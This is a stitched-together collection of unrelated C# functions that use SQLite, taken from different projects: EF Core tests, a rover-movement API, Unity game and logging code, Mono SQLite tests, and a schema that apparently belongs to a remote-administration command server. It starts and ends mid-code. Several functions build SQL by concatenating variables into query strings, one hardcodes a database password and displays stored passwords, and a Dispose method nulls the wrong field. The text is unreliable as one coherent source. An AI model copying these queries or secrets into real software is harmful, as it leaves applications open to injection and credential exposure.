insertCommand = AddCreateParameters(insertCommand, PhysicalPerson);
insertCommand.ExecuteNonQuery();
insertCommand.Parameters.Clear();
syncedItems++;
callback?.Invoke(syncedItems, toSync);
}
}
transaction.Commit();
}
db.Close();
}
}
else
{
throw new Exception(response.Message);
}
}
catch (Exception ex)
{
MainWindow.ErrorMessage = ex.Message;
}
}
public void AddAuthor_AuthorWithoutCountryId_AuthorHasBEAsCountryId()
{
// Arrange
//var logs = new List<string>();
// we commented this line because we are going to use Sqlite instead of ImMemory Provider
// var options = new DbContextOptionsBuilder<CourseContext>().UseInMemoryDatabase($"CourseDatabaseForTesting {Guid.NewGuid()}").Options;
var connectionStringBuilder = new SqliteConnectionStringBuilder {
DataSource = ":memory:"
};
var connection = new SqliteConnection(connectionStringBuilder.ToString());
var options = new DbContextOptionsBuilder <CourseContext>().UseLoggerFactory(new LoggerFactory(
new[] { new LogToActionLoggerProvider((log) => {
//logs.Add(log);
//Debug.WriteLine(log);
// this will makes you see the actual SQL Server Queries that has been executed
_output.WriteLine(log);
}) }
)).UseSqlite(connection).Options;
using (var context = new CourseContext(options))
{
// note that we opened only the connection for one time, and we did not open it again in the other opened context.
// this is because the connection is reused across our contexts, so it remains open untill it goes out of the scope, which means untill the test is done
context.Database.OpenConnection();
context.Database.EnsureCreated();
// note that below add is not required when you are using "InMemory Provider" because in this provider it doesnot depend on relational features,
// but if you are using Sql Lite, below line should exist because it acts as foreign key for Author Table, so it will throws exception if below line is missing.
context.Countries.Add(new Entities.Country()
{
Id = "BE",
Description = "Belgium"
});
context.SaveChanges();
}
using (var context = new CourseContext(options))
{
var authorRepo = new AuthorRepository(context);
var authorToAdd = new Author()
{
FirstName = "Kevin",
LastName = "Dockx",
Id = Guid.Parse("d84d3d7e-3fbc-4956-84a5-5c57c2d86d7b")
};
authorRepo.AddAuthor(authorToAdd);
authorRepo.SaveChanges();
}
using (var context = new CourseContext(options))
{
var authorRepo = new AuthorRepository(context);
var addedAuthor = authorRepo.GetAuthor(Guid.Parse("d84d3d7e-3fbc-4956-84a5-5c57c2d86d7b"));
Assert.Equal("BE", addedAuthor.CountryId);
}
}
public async Task <Rover> MoveAsync(MoveParams moveParams)
{
// Get Rover
Rover rover = await GetRoverInfoAsync(moveParams.Id);
if (rover == null)
{
throw new RestException(HttpStatusCode.NotFound,
new { message = $"Rover with id {moveParams.Id} not found." });
}
await using SqliteConnection connection =
new SqliteConnection(_configuration.GetSection("ConnectionStrings:Database").Value);
await connection.OpenAsync();
// Get Planet
Planet planet = await _planetRepository.GetPlanetInfoAsync(rover.PlanetId);
Rover newRover = new Rover
{
Id = rover.Id,
PosX = rover.PosX,
PosY = rover.PosY,
Direction = rover.Direction,
PlanetId = rover.PlanetId
};
SqliteCommand updateRoverPositionCmd = new SqliteCommand
{
Connection = connection,
CommandText = await File.ReadAllTextAsync("../Infrastructure/SQL/Queries/Rover/UpdateRover.sql"),
};
foreach (char instruction in moveParams.Instructions)
{
int prevPosX = newRover.PosX;
int prevPosY = newRover.PosY;
newRover = RoverService.GetNewRoverPosition(planet, newRover, instruction);
// Check if there is an obstacle
if (instruction == RoverDirections.Forward || instruction == RoverDirections.Backward)
{
bool positionHasObstacle =
await _obstacleRepository.PositionHasObstacle(newRover.PosX, newRover.PosY);
if (positionHasObstacle)
{
updateRoverPositionCmd.Parameters.AddRange(
new[]
{
new SqliteParameter
{
ParameterName = "$id",
SqliteType = SqliteType.Integer,
Value = newRover.Id
},
new SqliteParameter
{
ParameterName = "$posX",
SqliteType = SqliteType.Integer,
Value = prevPosX
},
new SqliteParameter
{
ParameterName = "$posY",
SqliteType = SqliteType.Integer,
Value = prevPosY
},
new SqliteParameter
{
ParameterName = "$direction",
SqliteType = SqliteType.Text,
Value = newRover.Direction
}
}
);
await updateRoverPositionCmd.ExecuteNonQueryAsync();
throw new RestException(HttpStatusCode.Forbidden,
new
{
obstacle = new Obstacle
{
PosX = newRover.PosX,
PosY = newRover.PosY
},
rover =
new Rover
{
Id = newRover.Id,
PosX = prevPosX,
PosY = prevPosY,
Direction = newRover.Direction,
PlanetId = newRover.PlanetId
}
});
}
}
}
updateRoverPositionCmd.Parameters.AddRange(
new[]
{
new SqliteParameter
{
ParameterName = "$id",
SqliteType = SqliteType.Integer,
Value = newRover.Id
},
new SqliteParameter
{
ParameterName = "$posX",
SqliteType = SqliteType.Integer,
Value = newRover.PosX
},
new SqliteParameter
{
ParameterName = "$posY",
SqliteType = SqliteType.Integer,
Value = newRover.PosY
},
new SqliteParameter
{
ParameterName = "$direction",
SqliteType = SqliteType.Text,
Value = newRover.Direction
}
}
);
await updateRoverPositionCmd.ExecuteNonQueryAsync();
return(newRover);
}
public void Dispose()
{
if (m_conn != null)
{
m_conn.Close();
m_conn = null;
}
if (ds != null)
{
ds.Dispose();
ds = null;
}
if (primDa != null)
{
primDa.Dispose();
primDa = null;
}
if (shapeDa != null)
{
shapeDa.Dispose();
shapeDa = null;
}
if (itemsDa != null)
{
itemsDa.Dispose();
itemsDa = null;
}
if (terrainDa != null)
{
terrainDa.Dispose();
terrainDa = null;
}
if (landDa != null)
{
landDa.Dispose();
landDa = null;
}
if (landAccessListDa != null)
{
landAccessListDa.Dispose();
landAccessListDa = null;
}
if (regionSettingsDa != null)
{
regionSettingsDa.Dispose();
regionSettingsDa = null;
}
if (regionWindlightDa != null)
{
regionWindlightDa.Dispose();
regionWindlightDa = null;
}
if (regionEnvironmentDa != null)
{
regionEnvironmentDa.Dispose();
regionEnvironmentDa = null;
}
if (regionSpawnPointsDa != null)
{
regionSpawnPointsDa.Dispose();
regionWindlightDa = null;
}
}
private void LoadData()
{
lbl_ID.Text = _CatID.ToString();
using (SqliteConnection sqlCnnctn = new SqliteConnection())
{
sqlCnnctn.ConnectionString = _ConnectionString;
sqlCnnctn.Open();
using (SqliteCommand sqlCmmnd = new SqliteCommand())
{
sqlCmmnd.Connection = sqlCnnctn;
sqlCmmnd.CommandText =
"SELECT nct.news_category " +
" , ifnull(nct.n_dscr, '') AS n_dscr " +
" , src.n_source " +
" FROM t_news_category nct " +
" , t_news_sources src " +
" WHERE nct.news_category_id = " + _CatID.ToString() +
" AND src.n_source_id = nct.n_source_id ";
using (SqliteDataReader sqlDReader = sqlCmmnd.ExecuteReader())
{
if (sqlDReader.HasRows && sqlDReader.Read())
{
lbl_NCategory.Text = sqlDReader["news_category"].ToString();
lbl_NSource.Text = sqlDReader["n_source"].ToString();
tbx_NDscr.Text = sqlDReader["n_dscr"].ToString();
}
sqlDReader.Close();
}
}
sqlCnnctn.Close();
}
}
private void ThenTheCommandIsReplicatedToAllStateMachines(UpdateFileConfiguration expecteds)
{
//dirty sleep to give a chance to replicate...
var stopwatch = Stopwatch.StartNew();
while (stopwatch.ElapsedMilliseconds < 2000)
{
}
bool CommandCalledOnAllStateMachines()
{
try
{
var passed = 0;
foreach (var peer in _peers.Peers)
{
var path = $"{peer.HostAndPort.Replace("/","").Replace(":","")}.db";
using (var connection = new SqliteConnection($"Data Source={path};"))
{
connection.Open();
var sql = @"select count(id) from logs";
using (var command = new SqliteCommand(sql, connection))
{
var index = Convert.ToInt32(command.ExecuteScalar());
index.ShouldBe(1);
}
}
_httpClientForAssertions.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _token.AccessToken);
var result = _httpClientForAssertions.GetAsync($"{peer.HostAndPort}/administration/configuration").Result;
var json = result.Content.ReadAsStringAsync().Result;
var response = JsonConvert.DeserializeObject <FileConfiguration>(json, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All
});
response.GlobalConfiguration.RequestIdKey.ShouldBe(expecteds.Configuration.GlobalConfiguration.RequestIdKey);
response.GlobalConfiguration.ServiceDiscoveryProvider.Host.ShouldBe(expecteds.Configuration.GlobalConfiguration.ServiceDiscoveryProvider.Host);
response.GlobalConfiguration.ServiceDiscoveryProvider.Port.ShouldBe(expecteds.Configuration.GlobalConfiguration.ServiceDiscoveryProvider.Port);
for (var i = 0; i < response.ReRoutes.Count; i++)
{
for (var j = 0; j < response.ReRoutes[i].DownstreamHostAndPorts.Count; j++)
{
var res = response.ReRoutes[i].DownstreamHostAndPorts[j];
var expected = expecteds.Configuration.ReRoutes[i].DownstreamHostAndPorts[j];
res.Host.ShouldBe(expected.Host);
res.Port.ShouldBe(expected.Port);
}
response.ReRoutes[i].DownstreamPathTemplate.ShouldBe(expecteds.Configuration.ReRoutes[i].DownstreamPathTemplate);
response.ReRoutes[i].DownstreamScheme.ShouldBe(expecteds.Configuration.ReRoutes[i].DownstreamScheme);
response.ReRoutes[i].UpstreamPathTemplate.ShouldBe(expecteds.Configuration.ReRoutes[i].UpstreamPathTemplate);
response.ReRoutes[i].UpstreamHttpMethod.ShouldBe(expecteds.Configuration.ReRoutes[i].UpstreamHttpMethod);
}
passed++;
}
return(passed == 5);
}
catch (Exception e)
{
Console.WriteLine(e);
return(false);
}
}
var commandOnAllStateMachines = WaitFor(20000).Until(() => CommandCalledOnAllStateMachines());
commandOnAllStateMachines.ShouldBeTrue();
}
public void CloseConnection()
{
SqliteConnection.Close();
}
public PersistentSQLiteConnectionWrapper(SqliteConnection connection) : base(connection)
{
}
public ValuesController(IConfiguration configuration)
{
var connection = string.Format(configuration.GetConnectionString("Sqlite"), System.IO.Directory.GetCurrentDirectory());
_sqliteConnection = new SqliteConnection(connection);
}
public Library(string machineName, SqliteConnection connection, ServerCaller caller, ILogger logger)
: this(machineName, connection, caller, logger, new Clock())
{
}
private SqliteConnection CreateNewConnection()
{
var connection = new SqliteConnection(ConnectionString);
connection.Open();
return connection;
}
public static List <Player> GetMultiplePlayers(List <int> playerIDs)
{
string cond = "";
foreach (var v in playerIDs)
{
cond += (v + ",");
}
cond = cond.Substring(0, cond.Length - 1);
string query = string.Format("SELECT * FROM Players WHERE ID in ({0}) ;", cond);
string conn = "URI=file:" + Application.dataPath + "/StreamingAssets/db.db"; //Path to database.
List <Player> players = new List <Player>();
using (SqliteConnection c = new SqliteConnection(conn))
{
c.Open();
using (SqliteCommand cmd = new SqliteCommand(query, c))
{
using (SqliteDataReader reader = cmd.ExecuteReader())
{
while (reader.Read())
{
Player p = new Player();
players.Add(p);
int id = reader.GetInt32(0);
string currentTeam = reader.GetString(1);
string playerName = reader.GetString(2);
if (id == 0 && playerName.Length == 0)
{
playerName = "老总";
}
float keeperAnticipation = reader.GetFloat(3);
float keeperSaving = reader.GetFloat(4);
float pace = reader.GetFloat(5);
float anticipation = reader.GetFloat(6);
float tackling = reader.GetFloat(7);
float header = reader.GetFloat(8);
float shortPass = reader.GetFloat(9);
float longPass = reader.GetFloat(10);
float strength = reader.GetFloat(11);
float agility = reader.GetFloat(12);
float fragile = reader.GetFloat(13);
float weakerFoot = reader.GetFloat(14);
string previousClubs = reader.GetString(15);
string nationality = reader.GetString(16);
string position = reader.GetString(17);
string umaString = reader.GetString(18);
int marketValue = reader.GetInt32(19);
int numberPreference = reader.GetInt32(20);
float ambition = reader.GetFloat(21);
int professional = reader.GetInt32(22);
int moneyStatus = reader.GetInt32(23);
float married = reader.GetInt32(24);
string childrenNames = reader.GetString(25);
float composure = reader.GetFloat(26);
float dirtyness = reader.GetFloat(27);
float angerControl = reader.GetFloat(28);
float speechMaking = reader.GetFloat(29);
float domesticPopulation = reader.GetFloat(30);
float internationalPopulation = reader.GetFloat(31);
string birthday = reader.GetString(32);
string birthPlace = reader.GetString(33);
string academyPlace = reader.GetString(34);
int educationLevel = reader.GetInt32(35);
int salary = reader.GetInt32(36);
string clubRelations = reader.GetString(37);
string peopleRelations = reader.GetString(38);
string injuryHistory = reader.GetString(39);
string relationshipHistory = reader.GetString(40);
string partnerName = reader.GetString(41);
string personalSponsor = reader.GetString(42);
string brandPreference = reader.GetString(43);
float majiang = reader.GetFloat(44);
float doudizhu = reader.GetFloat(45);
float alchohol = reader.GetFloat(46);
float xiangqi = reader.GetFloat(47);
int signatureFont = reader.GetInt32(48);
int shooting = reader.GetInt32(49);
int stamina = reader.GetInt32(50);
int generated = reader.GetInt16(51);
int height = reader.GetInt16(52);
string profession = reader.GetString(53);
string graduatedSchool = reader.GetString(54);
int numberWearing = reader.GetInt32(55);
string skills = reader.GetString(56);
int weight = reader.GetInt16(57);
string statsHistory = reader.GetString(58);
string contractDetails = reader.GetString(59);
p.agility = agility;
p.alchohol = alchohol;
p.ambition = ambition;
p.angerControl = angerControl;
p.anticipation = anticipation;
p.birthday = birthday;
p.birthPlace = birthPlace;
p.brandPreference = brandPreference;
p.chlidrenNames = childrenNames;
p.clubRelations = clubRelations;
p.composure = composure;
p.currentClub = currentTeam;
p.dirtyness = dirtyness;
p.domesticPopulation = domesticPopulation;
p.doudizhu = doudizhu;
p.educationLevel = educationLevel;
p.fragile = fragile;
p.header = header;
p.ID = id;
p.injuryHistory = injuryHistory;
p.internationalPopulation = internationalPopulation;
p.keeperAnticipation = keeperAnticipation;
p.keeperSaving = keeperSaving;
p.longPass = longPass;
p.majiang = majiang;
p.marketValue = marketValue;
p.married = married == 1 ? 1 : 0;
p.moneyStatus = moneyStatus;
p.nationality = nationality;
p.numberPreference = numberPreference;
p.pace = pace;
p.partnerName = partnerName;
p.peopleRelations = peopleRelations;
p.personalSponsor = personalSponsor;
p.playerName = playerName;
p.position = position;
p.previousClubs = previousClubs;
p.professional = professional;
p.relationshipHistory = relationshipHistory;
p.salary = salary;
p.shooting = shooting;
p.shortPass = shortPass;
p.speechMaking = speechMaking;
p.stamina = stamina;
p.strength = strength;
p.tackling = tackling;
p.umaString = umaString;
p.weakerFoot = weakerFoot;
p.xiangqi = xiangqi;
p.generated = generated;
p.signatureFont = signatureFont;
p.height = height;
p.profession = profession;
p.graduatedSchool = graduatedSchool;
p.numberWearing = numberWearing;
p.skill = skills;
p.weight = weight;
p.statsHistory = statsHistory;
p.contractDetails = contractDetails;
}
}
}
}
return(players);
}
public void Test2()
{
Console.WriteLine("Test2 Start.");
Console.WriteLine("Create connection...");
SqliteConnection con = new SqliteConnection();
string dbFilename = @"SqliteTest3.db";
string cs = string.Format("Version=3,uri=file:{0}", dbFilename);
Console.WriteLine("Set connection String: {0}", cs);
if (File.Exists(dbFilename))
{
File.Delete(dbFilename);
}
con.ConnectionString = cs;
Console.WriteLine("Open database...");
con.Open();
Console.WriteLine("create command...");
IDbCommand cmd = con.CreateCommand();
Console.WriteLine("create table TEST_TABLE...");
cmd.CommandText = "CREATE TABLE TBL ( ID NUMBER, NAME TEXT)";
cmd.ExecuteNonQuery();
Console.WriteLine("insert row 1...");
cmd.CommandText = "INSERT INTO TBL ( ID, NAME ) VALUES (1, 'ONE' )";
cmd.ExecuteNonQuery();
Console.WriteLine("insert row 2...");
cmd.CommandText = "INSERT INTO TBL ( ID, NAME ) VALUES (2, 'ä¸æ–‡' )";
cmd.ExecuteNonQuery();
//Console.WriteLine("commit...");
//cmd.CommandText = "COMMIT";
//cmd.ExecuteNonQuery();
Console.WriteLine("SELECT data from TBL...");
cmd.CommandText = "SELECT id,NAME FROM tbl WHERE name = 'ä¸æ–‡'";
IDataReader reader = cmd.ExecuteReader();
int r = 0;
Console.WriteLine("Read the data...");
while (reader.Read())
{
Console.WriteLine(" Row: {0}", r);
int i = reader.GetInt32(reader.GetOrdinal("ID"));
Console.WriteLine(" ID: {0}", i);
string s = reader.GetString(reader.GetOrdinal("NAME"));
Console.WriteLine(" NAME: {0} = {1}", s, s == "ä¸æ–‡");
r++;
}
Console.WriteLine("Rows retrieved: {0}", r);
//alxwest: DataTable & SqliteDataAdapter currently unavailable for Silverlight
#if !SQLITE_SILVERLIGHT
SqliteCommand command = new SqliteCommand("PRAGMA table_info('TEST_TABLE')", con);
DataTable dataTable = new DataTable();
SqliteDataAdapter dataAdapter = new SqliteDataAdapter();
dataAdapter.SelectCommand = command;
dataAdapter.Fill(dataTable);
DisplayDataTable(dataTable, "Columns");
#endif
Console.WriteLine("Close and cleanup...");
con.Close();
con = null;
Console.WriteLine("Test1 Done.");
}
public Library(SqliteConnection connection, ServerCaller caller, ILogger logger)
: this(Environment.MachineName, connection, caller, logger, new Clock())
{
}
StorageProvider()
{
connection = new SqliteConnection("Data Source=storage.db");
connection.Open();
}
public void SqList(string databaseFile,string opinion)
{
try
{
if (!File.Exists (databaseFile))
{
return;
}
//end if
// Connect to database
using (SqliteConnection sqlCon = new SqliteConnection (String.Format ("Data Source = {0}", databaseFile)))
{
sqlCon.SetPassword("haluk");
sqlCon.Open ();
using (SqliteCommand sqlCom = new SqliteCommand (sqlCon))
{
sqlCom.CommandText="SELECT * FROM Personel";
// if(opinion=="Z")
// sqlCom.CommandText = "SELECT * FROM ZSUBE";
//
// else if(opinion=="Y")
// sqlCom.CommandText = "SELECT * FROM YSUBE";
//
// Execute the SELECT statement and retrieve the data
using (SqliteDataReader dbReader = sqlCom.ExecuteReader ())
{
if (dbReader.HasRows)
{
int i;
// Advance through each row
tasks = new List<TaskX> ();
while (dbReader.Read ())
{
TaskX dtask= new TaskX() {Id = Convert.ToInt16( dbReader["ID"]),
Name = String.Format (Convert.ToString (dbReader["UserName"])),
Notes=String.Format ( Convert.ToString (dbReader["Password"])),
Done=false};
tasks.Add(dtask);
};
}
};
TableView.Source = new RootTableSource(tasks.ToArray ());
}
sqlCon.Close ();
}
} catch (Exception ex)
{ }
}
public void Read_All_Data()
{
string conn = URI_Path_Name();
using (SqliteConnection con = new SqliteConnection(conn))
{
con.Open();
SqliteCommand cmd = new SqliteCommand(con);
string sqlQuery = "SELECT *" + "FROM " + log_type;
cmd.CommandText = sqlQuery;
using (SqliteDataReader rdr = cmd.ExecuteReader())
{
while (rdr.Read())
{
sqlQuery = "INSERT INTO " + log_type + " (ITEM_UNIQUE_ID, ITEM_ID, COUNT, CREATOR, CREATE_DATE, OWNER, FINAL_USED_DATE, CONSUME_TYPE, CONSUME_DATE, ITEM_LIST)";
byte[] bytBLOB = new byte[rdr.GetBytes(9, 0, null, 0, int.MaxValue)];
rdr.GetBytes(9, 0, bytBLOB, 0, bytBLOB.Length);
long[] data_temp = Bytes_To_LongArray(bytBLOB);
//Debug.Log("data_temp size : " + data_temp.Length);
StringBuilder s = new StringBuilder();
s.Append("ITEM_LIST DATA :");
for (int i = 0; i < data_temp.Length; i++)
{
s.Append(" " + data_temp[i]);
}
Debug.LogFormat("ITEM_UNIQUE_ID : {0}, ITEM_ID : {1}, COUNT : {2}, CREATOR : {3}, CREATE_DATE : {4}, OWNER : {5}, FINAL_USED_DATE : {6}," +
" CONSUME_TYPE : {7}, CONSUME_DATE : {8}, {9}",
rdr.GetInt64(0), rdr.GetInt32(1), rdr.GetInt16(2), rdr.GetInt16(3), rdr.GetInt64(4), rdr.GetInt16(5), rdr.GetInt64(6),
((ITEM_CONSUME_TYPE)rdr.GetInt32(7)).ToString(), rdr.GetInt64(8), s);
//MemoryStream stmBLOB = new MemoryStream(bytBLOB);
}
}
con.Close();
}
/*
* string conn = "URI=file:" + Application.dataPath + "/" + log_type + ".s3db"; //Path to database.
* IDbConnection dbconn;
* dbconn = (IDbConnection)new SqliteConnection(conn);
* dbconn.Open(); //Open connection to the database.
*
* IDbCommand dbcmd = dbconn.CreateCommand();
* string sqlQuery = "SELECT *" + "FROM " + log_type;
* dbcmd.CommandText = sqlQuery;
* IDataReader reader = dbcmd.ExecuteReader();
*
* while (reader.Read())
* {
* long ITEM_UNIQUE_ID = reader.GetInt64(0);
* string ITEM_ID = reader.GetString(1);
* int COUNT = reader.GetInt32(2);
* long CREATOR = reader.GetInt64(3);
* long CREATE_DATE = reader.GetInt64(4);
* long OWNER = reader.GetInt64(5);
* long FINAL_USED_DATE = reader.GetInt64(6);
* int CONSUME_TYPE = reader.GetInt32(7);
* long CONSUME_DATE = reader.GetInt64(8);
* reader.GetBytes()
*
* //int ITEM_LIST = reader.getb
*
*
* Debug.LogFormat("USER_ID : {0}, ITEM_ID : {1}, ITEM_INDEX : {2}, ITEM_STACK : {3}, START_TIME : {4}, LAST_CHECK_TIME : {5}," +
* "CAPACITY_OF_SIZE : {6}, ITEM_SIZE : {7}, WEIGHT : {8}"
* , USER_ID, ITEM_ID, ITEM_INDEX, ITEM_STACK, START_TIME, LAST_CHECK_TIME, CAPACITY_OF_SIZE, ITEM_SIZE, WEIGHT);
*
* }
* reader.Close();
* reader = null;
* dbcmd.Dispose();
* dbcmd = null;
* dbconn.Close();
* dbconn = null;
*/
}
public void Issue_119()
{
Console.WriteLine("Test Start.");
Console.WriteLine("Create connection...");
SqliteConnection con = new SqliteConnection();
string dbFilename = @"=SqliteTest3=.db";
string cs = string.Format("Version=3,uri=file:{0}", dbFilename);
Console.WriteLine("Set connection String: {0}", cs);
if (File.Exists(dbFilename))
{
File.Delete(dbFilename);
}
con.ConnectionString = cs;
Console.WriteLine("Open database...");
con.Open();
Console.WriteLine("create command...");
IDbCommand cmd = con.CreateCommand();
Console.WriteLine("create table TEST_TABLE...");
cmd.CommandText = "CREATE TABLE TEST_TABLE ( COLA INTEGER, COLB TEXT, COLC DATETIME )";
cmd.ExecuteNonQuery();
Console.WriteLine("insert row 1...");
cmd.CommandText = "INSERT INTO TEST_TABLE ( COLA, COLB, COLC ) VALUES (123,'ABC','2008-12-31 18:19:20' )";
cmd.ExecuteNonQuery();
Console.WriteLine("insert row 2...");
cmd.CommandText = "INSERT INTO TEST_TABLE ( COLA, COLB, COLC ) VALUES (124,'DEF', '2009-11-16 13:35:36' )";
cmd.ExecuteNonQuery();
Console.WriteLine("SELECT data from TEST_TABLE...");
cmd.CommandText = "SELECT RowID, COLA, COLB, COLC FROM TEST_TABLE";
IDataReader reader = cmd.ExecuteReader();
int r = 0;
Console.WriteLine("Read the data...");
while (reader.Read())
{
Console.WriteLine(" Row: {0}", r);
int rowid = reader.GetInt32(reader.GetOrdinal("RowID"));
Console.WriteLine(" RowID: {0}", rowid);
int i = reader.GetInt32(reader.GetOrdinal("COLA"));
Console.WriteLine(" COLA: {0}", i);
string s = reader.GetString(reader.GetOrdinal("COLB"));
Console.WriteLine(" COLB: {0}", s);
DateTime dt = reader.GetDateTime(reader.GetOrdinal("COLC"));
Console.WriteLine(" COLB: {0}", dt.ToString("MM/dd/yyyy HH:mm:ss"));
r++;
}
Console.WriteLine("Close and cleanup...");
con.Close();
con = null;
Console.WriteLine("Test Done.");
}
/// <summary>
/// 테이블에 데이터 등록
/// </summary>
/// <param name="item_unique_id">아이템 유니크 값</param>
/// <param name="item_id"></param>
/// <param name="item_count"></param>
/// <param name="item_creator"></param>
/// <param name="item_create_date"></param>
/// <param name="item_owner"></param>
/// <param name="item_final_used_date"></param>
/// <param name="item_consume_type"></param>
/// <param name="consume_date"></param>
/// <param name="item_list"></param>
public void Insert_Data(int item_unique_id, int item_id, short item_count, short item_creator, long item_create_date, short item_owner, long item_final_used_date, ITEM_CONSUME_TYPE item_consume_type, long consume_date, long[] item_list)
{
item_create_date = CurrentTimeMillis();
byte[] byte_data = new byte[0];
if (item_list.Length > 0)
{
byte_data = LongArray_To_Bytes(item_list);
}
Check_Connection_and_Transaction();
using (var cmd = insert_connection.CreateCommand())
{
query_count++;
StringBuilder sqlQuery = new StringBuilder();
sqlQuery.Append("INSERT INTO ");
sqlQuery.Append(log_type);
sqlQuery.Append(" (ITEM_UNIQUE_ID, ITEM_ID, COUNT, CREATOR, CREATE_DATE, OWNER, FINAL_USED_DATE, CONSUME_TYPE, CONSUME_DATE, ITEM_LIST) VALUES (");
sqlQuery.Append(item_unique_id);
sqlQuery.Append(",");
sqlQuery.Append(item_id);
sqlQuery.Append(",");
sqlQuery.Append(item_count);
sqlQuery.Append(",");
sqlQuery.Append(item_creator);
sqlQuery.Append(",");
sqlQuery.Append(item_create_date);
sqlQuery.Append(",");
sqlQuery.Append(item_owner);
sqlQuery.Append(",");
sqlQuery.Append(item_final_used_date);
sqlQuery.Append(",");
sqlQuery.Append((int)item_consume_type);
sqlQuery.Append(",");
sqlQuery.Append(consume_date);
sqlQuery.Append(",@item_list);");
cmd.CommandText = sqlQuery.ToString();
cmd.Prepare();
cmd.Parameters.Add("@item_list", DbType.Binary, byte_data.Length);
cmd.Parameters["@item_list"].Value = byte_data;
cmd.ExecuteNonQuery();
//쿼리가 n개 이상 쌓인 경우에 커밋 처리
if (query_count >= 10)
{
query_count = 0;
System.Diagnostics.Stopwatch sw = new System.Diagnostics.Stopwatch();
sw.Start();
//start timer
insert_transaction.Commit();
insert_connection.Close();
insert_transaction = null;
insert_connection = null;
//end timer
sw.Stop();
Debug.LogFormat("Insert문 경과 시간 : {0}(msec)", sw.ElapsedMilliseconds);
}
}
}
// Connectio string parsing tests/
public void Test8()
{
Console.WriteLine("Test8 Start.");
Console.WriteLine("Create connection...");
SqliteConnection con = new SqliteConnection();
string dbFilename = @"SqliteTest3.db";
// Test Read Only = True, missing db file
string cs = string.Format("Version=3;Read Only=True;uri=file:{0}", dbFilename);
Console.WriteLine("Set connection string: {0}", cs);
if (File.Exists(dbFilename))
{
File.Delete(dbFilename);
}
con.ConnectionString = cs;
Console.WriteLine("Open database...");
con.Open();
Console.WriteLine("create command...");
IDbCommand cmd = con.CreateCommand();
Console.WriteLine("create table TEST_TABLE...");
cmd.CommandText = "CREATE TABLE TEST_TABLE ( COLA INTEGER, COLB TEXT )";
bool didFail = false;
try {
cmd.ExecuteNonQuery();
} catch (Exception ex) {
didFail = true;
}
if (!didFail)
{
Console.WriteLine("Test failed!");
throw new ApplicationException("Test failed!");
}
con.Close();
// Test Read Only = True, existng db file
cs = string.Format("Version=3;uri=file:{0}", dbFilename);
Console.WriteLine("Set connection string: {0}", cs);
if (File.Exists(dbFilename))
{
File.Delete(dbFilename);
}
con.ConnectionString = cs;
con.Open();
cmd = con.CreateCommand();
cmd.CommandText = "CREATE TABLE TEST_TABLE ( COLA INTEGER, COLB TEXT )";
cmd.ExecuteNonQuery();
con.Close();
cs = string.Format("Version=3;Read Only=True;uri=file:{0}", dbFilename);
Console.WriteLine("Set connection string: {0}", cs);
con.ConnectionString = cs;
Console.WriteLine("Open database...");
con.Open();
Console.WriteLine("create command...");
cmd = con.CreateCommand();
Console.WriteLine("create table TEST_TABLE2...");
cmd.CommandText = "CREATE TABLE TEST_TABLE2 ( COLA INTEGER, COLB TEXT )";
didFail = false;
try {
cmd.ExecuteNonQuery();
} catch (Exception ex) {
didFail = true;
}
if (didFail)
{
Console.WriteLine("Test failed!");
throw new ApplicationException("Test failed!");
}
// Test FailIfMissing = True, existng db file
cs = string.Format("Version=3;FailIfMissing=True;uri=file:{0}", dbFilename);
Console.WriteLine("Set connection string: {0}", cs);
if (File.Exists(dbFilename))
{
File.Delete(dbFilename);
}
con.ConnectionString = cs;
Console.WriteLine("Open database...");
con.Open();
Console.WriteLine("create command...");
cmd = con.CreateCommand();
Console.WriteLine("create table TEST_TABLE2...");
cmd.CommandText = "CREATE TABLE TEST_TABLE2 ( COLA INTEGER, COLB TEXT )";
didFail = false;
try {
cmd.ExecuteNonQuery();
} catch (Exception ex) {
didFail = true;
}
if (!didFail)
{
Console.WriteLine("Test failed!");
throw new ApplicationException("Test failed!");
}
Console.WriteLine("Test8 Done.");
}
public static void CreateTables(SqliteConnection sqliteConnection)
{
using (
var command =
new SqliteCommand(
"CREATE TABLE `Client` (Id INTEGER PRIMARY KEY, UserName TEXT NOT NULL, HardwareId TEXT NOT NULL, ClientGroup TEXT, OSName TEXT, OSType INTEGER, Language TEXT, ComputerInformation NONE, LastSeen DATETIME, MacAddress NONE)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `GeoLocation` (ClientId INTEGER PRIMARY KEY, IpAddress TEXT, Country TEXT, CountryName TEXT, Region TEXT, City TEXT, Latitude REAL, Longitude REAL, ZipCode TEXT, Timezone INTEGER)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `Exception` (Id INTEGER PRIMARY KEY, ClientId INTEGER, Timestamp DATETIME, Data NONE)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `DynamicCommand` (Id INTEGER PRIMARY KEY, Status INTEGER, DynamicCommand TEXT, ParameterDataId TEXT UNIQUE, PluginId INTEGER, Timestamp DATETIME)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `DynamicCommandEvent` (Id INTEGER PRIMARY KEY, DynamicCommandId INTEGER, ClientId INTEGER, Timestamp DATETIME, Status INTEGER, Message TEXT)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `StaticCommandPlugin` (Id INTEGER PRIMARY KEY, DataId TEXT UNIQUE, Hash NONE UNIQUE)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `NewClientsStatistic` (Timestamp DATETIME PRIMARY KEY, Count INTEGER)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `ClientsConnected` (Id INTEGER PRIMARY KEY, ClientId INTEGER, Timestamp DATETIME)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `ClientsConnectedStatistic` (Timestamp DATE PRIMARY KEY, Count INTEGER)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
"CREATE TABLE `Data` (Id INTEGER PRIMARY KEY, ClientId INTEGER, Timestamp DATETIME, Length INTEGER, FileName TEXT UNIQUE, DataMode TEXT, EntryName TEXT, IsCsvData INTEGER)",
sqliteConnection))
command.ExecuteNonQuery();
using (
var command =
new SqliteCommand(
